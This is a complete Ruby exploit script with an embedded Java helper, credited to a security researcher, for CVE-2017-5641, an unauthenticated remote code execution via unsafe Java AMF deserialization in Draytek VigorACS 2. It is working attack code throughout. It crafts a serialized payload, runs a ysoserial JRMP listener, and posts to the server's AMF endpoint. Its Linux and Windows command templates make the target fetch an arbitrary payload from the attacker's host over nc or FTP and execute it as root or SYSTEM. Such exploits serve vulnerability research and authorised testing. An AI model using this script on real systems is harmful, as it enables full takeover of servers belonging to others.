#!/usr/bin/ruby

=begin

Exploit for Draytek VigorACS 2 unauthenticated remote code execution (unsafe Java AMF deserialization); CVE-2017-5641 

By Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security

This exploit has only been tested in Linux. The two jars described below are required for execution of the exploit, and they should be in the same directory.

==
acsFlex.jar - build the following code as a JAR:

import flex.messaging.io.amf.MessageBody;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.AmfMessageSerializer;
import java.io.*;

public class ACSFlex {
    public static void main(String[] args) {
        Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
        // serialize object to AMF message
        try {
            byte[] amf = new byte[0];
            amf = serialize((unicastRef));
            DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2]));
            os.write(amf);
            System.out.println("Done, payload written to " + args[2]);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static Object generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);

        ActionMessage message = new ActionMessage();
        message.addBody(body);

        ByteArrayOutputStream out = new ByteArrayOutputStream();

        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);

        return out.toByteArray();
    }
}
==
ysoserial.jar:
- Patch ysoserial with CommonsCollections5Chained and CommonsCollections6Chain from https://github.com/frohoff/ysoserial/issues/71
- Or use the multiarg branch of https://github.com/frohoff/ysoserial, although this has not been tested and the exploit will need to be modified (specifically the YSOSERIAL, WINDOWS_CMD and LINUX_CMD variables)

=end

require 'ftpd'
require 'tmpdir'
require 'net/http'
require 'uri'

class String
	def black;          "\e[30m#{self}\e[0m" end
	def red;            "\e[31m#{self}\e[0m" end
	def green;          "\e[32m#{self}\e[0m" end
	def brown;          "\e[33m#{self}\e[0m" end
	def blue;           "\e[34m#{self}\e[0m" end
	def magenta;        "\e[35m#{self}\e[0m" end
	def cyan;           "\e[36m#{self}\e[0m" end
	def gray;           "\e[37m#{self}\e[0m" end

	def bg_black;       "\e[40m#{self}\e[0m" end
	def bg_red;         "\e[41m#{self}\e[0m" end
	def bg_green;       "\e[42m#{self}\e[0m" end
	def bg_brown;       "\e[43m#{self}\e[0m" end
	def bg_blue;        "\e[44m#{self}\e[0m" end
	def bg_magenta;     "\e[45m#{self}\e[0m" end
	def bg_cyan;        "\e[46m#{self}\e[0m" end
	def bg_gray;        "\e[47m#{self}\e[0m" end

	def bold;           "\e[1m#{self}\e[22m" end
	def italic;         "\e[3m#{self}\e[23m" end
	def underline;      "\e[4m#{self}\e[24m" end
	def blink;          "\e[5m#{self}\e[25m" end
	def reverse_color;  "\e[7m#{self}\e[27m" end
end


# FTP server (Windows)
class Driver
	def initialize(temp_dir)
		@temp_dir = temp_dir
	end

	def authenticate(user, password)
		# actually the client hasn't downloaded it yet, just logged in, but whatever
		puts '[+] Payload has been downloaded, wait for execution!'.green.bold
		true
	end

	def file_system(user)
		Ftpd::DiskFileSystem.new(@temp_dir)
	end
end

def ftp_start (temp_dir, lhost, port)
	driver = Driver.new(temp_dir)
  server = Ftpd::FtpServer.new(driver)
	server.interface = lhost
  server.port = port 
  server.start
end


def tcp_start (payload, port)
	pl = File.binread(payload)
	server = TCPServer.new port
	loop do
		Thread.start(server.accept) do |client|
		client.write(pl)
		client.close
		puts "[+] Payload has been downloaded, wait for execution!".green.bold
		end
	end
end

puts ""
puts "Draytek VigorACS 2 unauthenticated remote code execution (unsafe Java AMF deserialization)".cyan.bold
puts "CVE-2017-5641".cyan.bold
puts "Tested on version 2.2.1 for Windows and Linux, earlier versions are likely vulnerable".cyan.bold
puts "By Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security".blue.bold
puts ""

if (ARGV.length < 5 || (ARGV[3] != "Linux" && ARGV[3] != "Windows") || !File.file?(ARGV[4]))
	puts "Usage: ./acsPwn.rb <rhost> <rport> <lhost> <Windows|Linux> <payload> [ssl]".bold
  puts "Runs <payload> on the target as root or SYSTEM."
	puts "	rhost:\t\t\tDraytek Vigor ACS server host"
	puts "	rport:\t\t\tDraytek Vigor ACS server port"
	puts "	lhost:\t\t\tyour IP address"
	puts "	Windows|Linux:\t\ttarget type"
	puts "	payload:\t\tPayload that will be executed by the Vigor Server <rhost>"
	puts "	ssl:\t\t\tConnects to Vigor server using SSL (by default uses plain HTTP)"
	puts ""
	puts "NOTES:\tThis exploit requires the ftpd gem installed and the java executable in the PATH." 
	puts "\tThe included ysoserial.jar (patched for multiarg) and the included acsFlex.jar must be in the current directory."
	puts "\tTwo random TCP ports in the range 10000-65535 are used to receive connections from the target."
	puts ""
	exit(-1)
end

# we can use ysoserial's CommonsCollections5 or CommonsCollections6 exploit chain
YSOSERIAL = "ysoserial-patched.jar ysoserial.exploit.JRMPListener JRMP_PORT CommonsCollections6Chained "
WINDOWS_CMD = %{'cmd.exe /c @echo open SERVER PORT>script.txt&@echo binary>>script.txt&@echo get /PAYLOAD>>script.txt&@echo quit>>script.txt&@ftp -s:script.txt -v -A&@start PAYLOAD'}
LINUX_CMD = %{\'nc -w 2 SERVER PORT > /tmp/PAYLOAD; chmod +x /tmp/PAYLOAD; /tmp/PAYLOAD\'}

rhost = ARGV[0]
rport = ARGV[1]
lhost = ARGV[2].dup.force_encoding('ASCII')
os = ARGV[3]
payload_path = ARGV[4]
payload_name = File.basename(ARGV[4])
if ARGV.length > 5 && ARGV[5] == 'ssl'
	ssl = true
else
	ssl = false
end

Dir.mktmpdir { |temp_dir|
	server_port = rand(10000..65535)
	FileUtils.cp(payload_path, temp_dir)

	puts "[+] Picked port #{server_port} for the #{(os == 'Windows' ? 'FTP' : 'TCP')} server".cyan.bold

	# step 1: start the TCP or FTP server
	if os == 'Windows'
		ftp_start(temp_dir, lhost, server_port)
	else
		t = Thread.new{tcp_start(payload_path, server_port)}
	end
	
	# step 2: create the AMF payload
	puts "[+] Creating AMF payload...".green.bold
	jrmp_port = rand(10000..65535)
	
	amf_file = temp_dir + "/payload.ser"
	system("java -jar acsFlex.jar #{lhost} #{jrmp_port} #{amf_file}")
	amf_payload = File.binread(amf_file)
 
	# step 3: start the ysoserial JRMP listener
	puts "[+] Picked port #{jrmp_port} for the JRMP server".cyan.bold
	
	# build the command line argument that will be executed by the server
	cmd = (os == 'Windows' ? "java " : "java -Dysoserial.prefix=\'/bin/sh -c\' ")
	cmd += "-cp #{YSOSERIAL.gsub('JRMP_PORT', jrmp_port.to_s)}"
	cmd_final = (os == 'Windows' ? WINDOWS_CMD : LINUX_CMD).gsub("SERVER", lhost).gsub("PORT", server_port.to_s).gsub("PAYLOAD", payload_name)
	puts "[+] Sending command #{cmd_final}".green.bold
	
	jrmp_pid = spawn((cmd + cmd_final))
	sleep 5
	Process.detach(jrmp_pid)

	# step 4: fire the payload!
	uri = URI.parse("http#{ssl ? 's': ''}://#{rhost}:#{rport}")
	
	Net::HTTP.start(uri.host, uri.port, (ssl ? {:use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE } : {})) do |http|
		http.post('/ACSServer/messagebroker/amf', amf_payload)
	end

	puts "[+] AMF payload sent, waiting 15 seconds for payload download...".green.bold
	sleep 15
	Process.kill("HUP", jrmp_pid)
	if t
		t.terminate
	end
	puts "[*] Payload should have executed by now, exiting!".bold
}
exit 0
